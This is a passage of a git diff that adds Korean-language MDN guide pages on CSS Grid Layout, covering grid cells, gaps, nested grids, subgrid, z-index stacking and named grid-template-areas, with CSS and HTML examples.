+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('라인을_이용한_아이템_배치', '230', '420') }}</p>
+
+<p>파이어폭스 개발자 도구에 있는 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a>를 사용하면 아이템이 그리드 라인에 어떻게 배치되어 있는지 이해하기 훨씬 쉽다는 점도 잊지 마십시오.</p>
+
+<h2 id="그리드_셀">그리드 셀</h2>
+
+<p><em>그리드 셀</em>은 그리드에 있는 가장 작은 구성원입니다. 개념상 테이블에 있는 셀과 비슷합니다. 앞의 예제에서 보셨듯이, 부모 요소에 그리드를 정의하면 자식 아이템은 지정된 그리드 셀에 각자 하나씩 나열되어 배치됩니다. 아래 그림에서는 그리드의 첫 번째 셀을 강조 표시했습니다.</p>
+
+<p><img alt="강조 표시된 그리드의 첫 번째 셀" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
+
+<h2 id="그리드_영역">그리드 영역</h2>
+
+<p>아이템은 행 또는 열 방향 어느 쪽으로든 하나 이상의 셀에 걸쳐있을 수 있으며 이렇게 해서 <em>그리드 영역</em>을 만듭니다. 그리드 영역은 직사각형이어야 하며, 예를 들어 L 자 형태의 영역을 생성할 수 없습니다. 아래 강조 표시된 그리드 영역은 2개의 행과 2개의 열 트랙에 걸쳐 있습니다.</p>
+
+<p><img alt="그리드 영역의 예" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
+
+<h2 id="경계_여백">경계 여백</h2>
+
+<p>그리드 셀 사이의 <em>경계 여백</em> 혹은 <em>간격은</em> {{cssxref("grid-column-gap")}} 및 {{cssxref("grid-row-gap")}} 프로퍼티를 지정해서 생성할 수 있으며, 짧게 {{cssxref("grid-gap")}}으로 지정할 수도 있습니다. 아래의 예제에서는 세로 열 사이의 간격은 10픽셀이고 가로 행 사이의 간격은 <code>1em</code>입니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-column-gap: 10px;
+ grid-row-gap: 1em;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('경계_여백') }}</p>
+
+<p>간격이 차지하는 공간은 길이가 유연한 <code>fr</code> 단위로 지정한 트랙에 할당하기 전에 우선 고려되어 배분됩니다. 그래서 일반 그리드 트랙처럼 간격은 크기 조정의 목적으로 활용될 수 있으나, 이 공간에는 아무것도 배치할 수 없습니다. 라인 기반 위치 지정 측면에선 간격은 그저 굵은 선처럼 작용합니다.</p>
+
+<h2 id="중첩_그리드">중첩 그리드</h2>
+
+<p>그리드 아이템은 자기 자신이 그리드 컨테이너가 될 수도 있습니다. 다음 예제는 이전에 생성했던 3개의 세로 열로 구성된 그리드가 있으며, 여기에 따로 위치가 지정된 두 개의 아이템을 배치해 놓은 모습입니다. 이번 경우엔 첫 번째 아이템이 몇 개의 하위 아이템을 포함하고 있습니다. 이 아이템들은 그리드 바로 밑에 있는 요소가 아니므로 그리드 레이아웃에 관여하지 않고 정상적인 문서 흐름에 따라 표시됩니다.</p>
+
+<div>
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box box1"&gt;
+ &lt;div class="nested"&gt;a&lt;/div&gt;
+ &lt;div class="nested"&gt;b&lt;/div&gt;
+ &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+ &lt;div class="box box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="문서 흐름에 따라 표시된 중첩 그리드" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
+
+<p>만약에 <code>box1에</code> <code>display: grid를</code> 설정하면, 여기에 트랙을 정의할 수 있게 되면서 또 하나의 그리드를 생성하게 됩니다. 이렇게 해서 그 밑의 아이템들은 새 그리드 정의에 따라 배치됩니다.</p>
+
+<pre class="brush: css">.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.box {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('중첩_그리드', '600', '340') }}</p>
+
+<p>이 경우 중첩된 그리드는 상위 부모 요소의 그리드와 아무런 관계가 없습니다. 예제에서 볼 수 있듯이 부모 요소의 {{cssxref("grid-gap")}}을 그대로 물려받지 않았고, 중첩된 그리드의 라인은 부모 요소의 그리드 라인과도 일렬로 정렬되지 않은 것을 확인하실 수 있습니다.</p>
+
+<h3 id="서브_그리드">서브 그리드</h3>
+
+<p>레벨 1 그리드 표준에는 <em>서브 그리드(subgrid)</em>라는 기능이 있어서 부모 요소에 있는 그리드 트랙의 정의를 중첩된 그리드에도 적용해서 생성할 수 있도록 하였습니다.</p>
+
+<div class="note">
+<p>서브 그리드는 아직 모든 브라우저에서 구현되지 않았고 나중에 표준이 변경될 수도 있습니다.</p>
+</div>
+
+<p>최근 작성된 표준에 따르면, 위 중첩 그리드 예시에 썼던 <code>display: grid</code> 대신 <code>display: subgrid</code>를 써주고 트랙의 정의는 제거합니다. 이렇게 하면 중첩된 그리드는 부모 요소의 그리드 트랙을 그대로 참고해서 아이템을 배치하게 됩니다.</p>
+
+<p>중첩된 그리드는 행과 열 모두에 걸쳐 있음을 유의해야 합니다. 서브 그리드를 작업할 때는 잠재적 그리드의 개념을 적용할 수 없습니다. 즉, 부모 요소의 그리드에 모든 하위 아이템들을 담을 만큼의 충분한 행과 열의 트랙이 있는지 꼭 확인해야 합니다.</p>
+
+<pre class="brush: css">.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+ display: subgrid;
+}
+</pre>
+
+<h2 id="z-index를_이용한_아이템_중첩도_조정"><code>z-index</code>를 이용한 아이템 중첩도 조정</h2>
+
+<p>그리드 아이템은 서로 같은 셀을 차지할 수 있습니다. 앞서 라인 번호로 아이템의 위치를 지정했던 예제로 돌아가서, 여기에 다음과 같이 두 아이템이 서로 자리가 겹치도록 수정합니다.</p>
+
+<div id="l_ex">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box box1"&gt;One&lt;/div&gt;
+ &lt;div class="box box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: 100px;
+}
+
+.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+}
+
+.box2 {
+ grid-column-start: 1;
+ grid-row-start: 2;
+ grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.box {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '230', '420') }}</p>
+
+<p><code>box2</code> 아이템은 이제 <code>box1</code>과 겹치게 되고, 소스 순서에서 나중에 위치하므로 맨 위에 표시됩니다.</p>
+
+<h3 id="중첩의_순서_조정">중첩의 순서 조정</h3>
+
+<p>위치를 따로 지정한 아이템과 마찬가지로, 아이템이 위아래로 중첩되는 순서는 <code>z-index</code> 프로퍼티를 써서 제어할 수 있습니다. 만약에 <code>box2</code>에 <code>box1</code> 보다 더 낮은 <code>z-index</code>를 지정하면 <code>box1</code> 아래로 중첩되어 표시됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-auto-rows: 100px;
+}
+
+.box1 {
+ grid-column-start: 1;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+ z-index: 2;
+}
+
+.box2 {
+ grid-column-start: 1;
+ grid-row-start: 2;
+ grid-row-end: 4;
+ z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box box1"&gt;One&lt;/div&gt;
+ &lt;div class="box box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box box4"&gt;Four&lt;/div&gt;
+ &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.box {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+
+.nested {
+ border: 2px solid #ffec99;
+ border-radius: 5px;
+ background-color: #fff9db;
+ padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('중첩의_순서_조정', '230', '420') }}</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이 글에서는 Grid 레이아웃 표준 문서에 나와 있는 내용을 아주 간단히 살펴보았습니다. 코드 예제를 좀 더 연구해 보시고, <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">안내서의 다음 부분으로 넘어가서 CSS 그리드 레이아웃의 세부 사항을 조금 더 심도 있게 살펴보시기 바랍니다</a>.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/grid_template_areas/index.html b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html
new file mode 100644
index 0000000000..10bfeb4262
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html
@@ -0,0 +1,533 @@
+---
+title: Grid template areas
+slug: Web/CSS/CSS_Grid_Layout/Grid_template_areas
+tags:
+ - CSS
+ - CSS Grids
+ - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
+---
+<p><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">이전 가이드</a>에서 우리는 그리드 라인에 대해서 살펴보았으며, 이 라인을 기준으로 어떻게 아이템들을 배치하는지 알아보았습니다. CSS 그리드 레이아웃으로 작업할 땐 거기엔 항상 라인이 있을 것이고, 이것은 아이템들을 그리드에 배치할 때 사용할 수 있는 아주 직관적인 방법이 될 수 있습니다. 그렇지만, 아이템을 그리드에 배치할 때 사용할 수 있는 또 다른 방법이 있는데, 이것은 독자적으로 혹은 라인 기준 배치 방법과 함께 혼용해서 사용할 수 있습니다. 이 방법은 이름이 지명된 템플릿 영역을 사용하여 아이템을 배치하는 작업과 연관돼 있으며, 이 방법이 정확히 어떻게 작동하는지 알아보겠습니다. 이것이 때때로 왜 그리드 레이아웃의 ascii-art 방식이라고 일컬어지는지 쉽게 눈치채실 수 있을 겁니다!</p>
+
+<h2 id="그리드_영역의_이름_짓기">그리드 영역의 이름 짓기</h2>
+
+<p>여러분은 이미 {{cssxref("grid-area")}} 프로퍼티와 마주친 적이 있을 겁니다. 이 프로퍼티는 그리드 영역의 위치를 잡는데 사용되는 모두 네 개의 라인 값을 취합니다.</p>
+
+<pre class="brush: css">.box1 {
+ grid-area: 1 / 1 / 4 / 2;
+}
+</pre>
+
+<p>이렇게 모두 네 개의 라인을 정의하는 작업은, 영역을 둘러싸는 라인을 지정해서 해당 영역이 차지하게 될 자리를 정의해 주는 것이라 할 수 있습니다.</p>
+
+<p><img alt="라인으로 정의된 그리드 영역" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p>
+
+<p>이와 더불어서, 각 영역에 이름을 붙여서 정의할 수도 있으며, 각 영역의 위치는 {{cssxref("grid-template-areas")}} 프로퍼티의 값을 지정해서 정의할 수 있습니다. 영역의 이름은 원하시는 것 아무거나 선택해서 사용하실 수 있습니다. 예를 들어, 아래에 보이는 레이아웃을 만들고자 할 때, 다음과 같이 네 개의 주요 영역으로 구분할 수 있습니다.</p>
+
+<ul>
+ <li>a header</li>
+ <li>a footer</li>
+ <li>a sidebar</li>
+ <li>the main content</li>
+</ul>
+
+<p><img alt="단순하게 헤더와 푸터가 있는 두 개의 열로 구성된 레이아웃을 보여주는 그림" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p>
+
+<p>여기서 각 영역의 이름은 {{cssxref("grid-area")}} 프로퍼티로 지정할 수 있습니다. 이것은 아직 아무런 레이아웃도 생성하지 않지만, 이렇게 해서 레이아웃에 사용될 영역의 이름을 갖게 됩니다.</p>
+
+<div id="Grid_Area_1">
+<pre class="brush: css">.header {
+ grid-area: hd;
+}
+.footer {
+ grid-area: ft;
+}
+.content {
+ grid-area: main;
+}
+.sidebar {
+ grid-area: sd;
+}
+</pre>
+
+<p>이제 영역의 이름들을 정의하였으니 다음엔 원하는 레이아웃을 생성할 차례입니다. 이번엔, 아이템에 직접 지정된 라인 번호를 써서 아이템을 배치하는 대신에, 전체 레이아웃을 그리드 컨테이너에서 정의해 줍니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(9, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd sd main main main main main main"
+ "ft ft ft ft ft ft ft ft ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<p> </p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p>
+</div>
+
+<p>이 방법을 쓰면 각각의 그리드 아이템들에 아무것도 지정해 줄 필요가 없으며, 그리드 컨테이너에서 모든 작업이 이루어집니다. 보셨다시피, 레이아웃은 {{cssxref("grid-template-areas")}} 프로퍼티의 값으로 기술됩니다.</p>
+
+<h2 id="그리드_셀_비워두기">그리드 셀 비워두기</h2>
+
+<p>먼젓번 예제에서는, 그리드의 모든 곳이 빈 곳 없이 영역들로 채워져 있습니다. 하지만, 다음에 소개될 레이아웃 방법을 써서 특정 그리드 셀이 공간으로 채워지도록 만들 수도 있습니다. 셀을 공간으로 남겨두려면 마침표 글자(<code>.</code>)를 사용하시면 됩니다. 예제 중 footer 부분을 main으로 표시된 콘텐츠 바로 아래에만 표시되도록 하려면, sidebar 밑에 있는 세 개의 셀을 비워두면 됩니다.</p>
+
+<pre class="brush: css">.header {
+ grid-area: hd;
+}
+.footer {
+ grid-area: ft;
+}
+.content {
+ grid-area: main;
+}
+.sidebar {
+ grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(9, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd sd main main main main main main"
+ ". . . ft ft ft ft ft ft";
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('그리드_셀_비워두기', '300', '330') }}</p>
+
+<p>위 예제에서 레이아웃 정의 부분을 더 깔끔하게 보이도록 하려면 여러 개의 <code>.</code> 글자를 사용할 수도 있습니다. 여기서 마침표 사이가 하얀 공간으로 서로 띄워져 있지 않은 한 오직 하나의 셀로 계산됩니다. 아주 복잡한 레이아웃의 경우, 행과 열이 깔끔하게 정렬돼 있다면 훨씬 이해하기 쉬운 장점이 있을 겁니다. 이렇게 하면, CSS를 작업하면서 실제 레이아웃이 어떤 모습으로 보일지 쉽게 눈으로 확인하실 수도 있다는 뜻입니다.</p>
+
+<h2 id="다중_셀에_걸쳐_확장하기">다중 셀에 걸쳐 확장하기</h2>
+
+<p>앞선 예제에선 영역들이 다중 셀에 걸쳐서 확장되었는데, 이것은 그리드 영역의 이름을 빈 여백을 사이에 두고 여러 번 반복해서 이루었습니다. 여기서 <code>grid-template-areas</code> 값으로 지정한 부분은 깔끔하게 위아래로 줄이 맞아 떨어지도록 여분의 공백을 추가할 수도 있습니다. 위 예제에선, <code>main</code> 부분과 정렬되도록 <code>hd</code>와 <code>ft</code> 영역 이름에 공백이 추가된 것을 확인하실 수 있습니다.</p>
+
+<p>영역 이름을 연달아 늘어놓아서 만들어진 영역은 직사각형이어야 하며, 이 시점에서 L 모양의 영역을 만들 수는 없습니다. 표준 명세서에선 아마도 다음번 레벨에서 이 기능이 추가될 수도 있음을 명시하고 있습니다. 그렇지만, 영역을 열 방향과 마찬가지로 행 방향으로도 쉽게 확장할 수 있습니다. 예를 들어, 사이드바 영역에 있는 비어있는 셀을 뜻하는 <code>.</code> 대신에 그 자리를 <code>sd</code>로 대치해서 footer 밑부분까지 확장하도록 정의해 줄 수 있습니다.</p>
+
+<pre class="brush: css">.header {
+ grid-area: hd;
+}
+.footer {
+ grid-area: ft;
+}
+.content {
+ grid-area: main;
+}
+.sidebar {
+ grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(9, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd sd main main main main main main"
+ "sd sd sd ft ft ft ft ft ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다중_셀에_걸쳐_확장하기', '300', '330') }}</p>
+
+<p>{{cssxref("grid-template-areas")}} 값은 그리드 전체를 나타내야 하며, 그렇지 않으면 틀린 것으로 간주하여 결국 프로퍼티는 무시됩니다. 이 얘기는 각 줄의 셀 숫자가 모두 같아야 한다는 뜻이며, 비어있는 경우는 마침표 문자를 써서 셀이 비어있음을 표시해 주어야 합니다. 또한, 영역이 직사각형이 아니라면 유효하지 않은 그리드를 생성하게 됩니다.</p>
+
+<h2 id="미디어_큐어리(media_queries)를_이용한_그리드_재정의">미디어 큐어리(media queries)를 이용한 그리드 재정의</h2>
+
+<p>이제는 레이아웃이 CSS의 한 부분으로 들어오면서, 서로 다른 브레이크포인트에 대응해서 변하게 만드는 것이 훨씬 쉬워졌습니다. 이 작업은 그리드를 재정의하거나, 그리드에 있는 아이템의 위치를 바꿔줄 수도 있으며, 혹은 한꺼번에 두 가지 모두를 진행할 수도 있습니다.</p>
+
+<p>이 작업을 할 때 주의할 점은, 미디어 큐어리 밖에서 영역의 이름을 정의해야 한다는 것입니다. 이렇게 해야 가령 콘텐츠 영역의 경우, 그리드 위 어느 곳에 배치되든 상관없이 항상 해당 영역을 <code>main</code>으로 지칭할 수 있게 됩니다.</p>
+
+<p>위 예제에 있는 레이아웃을 가지고, 만약 너비가 좁을 때는 아주 단순한 레이아웃을 형성하도록 단일 열 형태의 그리드를 정의해서 아이템들이 서로 중첩되도록 하였습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ max-width: 940px;
+ margin: 0 auto;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.header {
+ grid-area: hd;
+}
+.footer {
+ grid-area: ft;
+}
+.content {
+ grid-area: main;
+}
+.sidebar {
+ grid-area: sd;
+}
+
+.wrapper {
+ display: grid;
+ grid-auto-rows: minmax(100px, auto);
+ grid-template-columns: 1fr;
+ grid-template-areas:
+ "hd"
+ "main"
+ "sd"
+ "ft";
+}
+</pre>
+
+<p>그러고 나서, 미디어 큐어리 안에서 남아있는 공간이 넓다면 두 개의 열로 된 레이아웃을 구성하도록 다시 정의해 주었으며, 공간이 더 넓으면 세 개의 열로 된 형태의 레이아웃 띠도록 하였습니다. 넓은 형태의 레이아웃의 경우, 아홉 개의 열 트랙 그리드는 그대로 놔두었으며, <code>grid-template-areas</code>를 써서 아이템들이 어디에 배치될지를 다시 정의해 준 점을 주목해 주십시오.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+ .wrapper {
+ grid-template-columns: repeat(9, 1fr);
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd sd main main main main main main"
+ "sd sd sd ft ft ft ft ft ft";
+ }
+}
+@media (min-width: 700px) {
+ .wrapper {
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd main main main main main ft ft";
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('미디어_큐어리(media_queries)를_이용한_그리드_재정의', '550', '330') }}</p>
+
+<h2 id="UI_요소를_위한_grid-tempate-areas_사용">UI 요소를 위한 <code>grid-tempate-areas</code> 사용</h2>
+
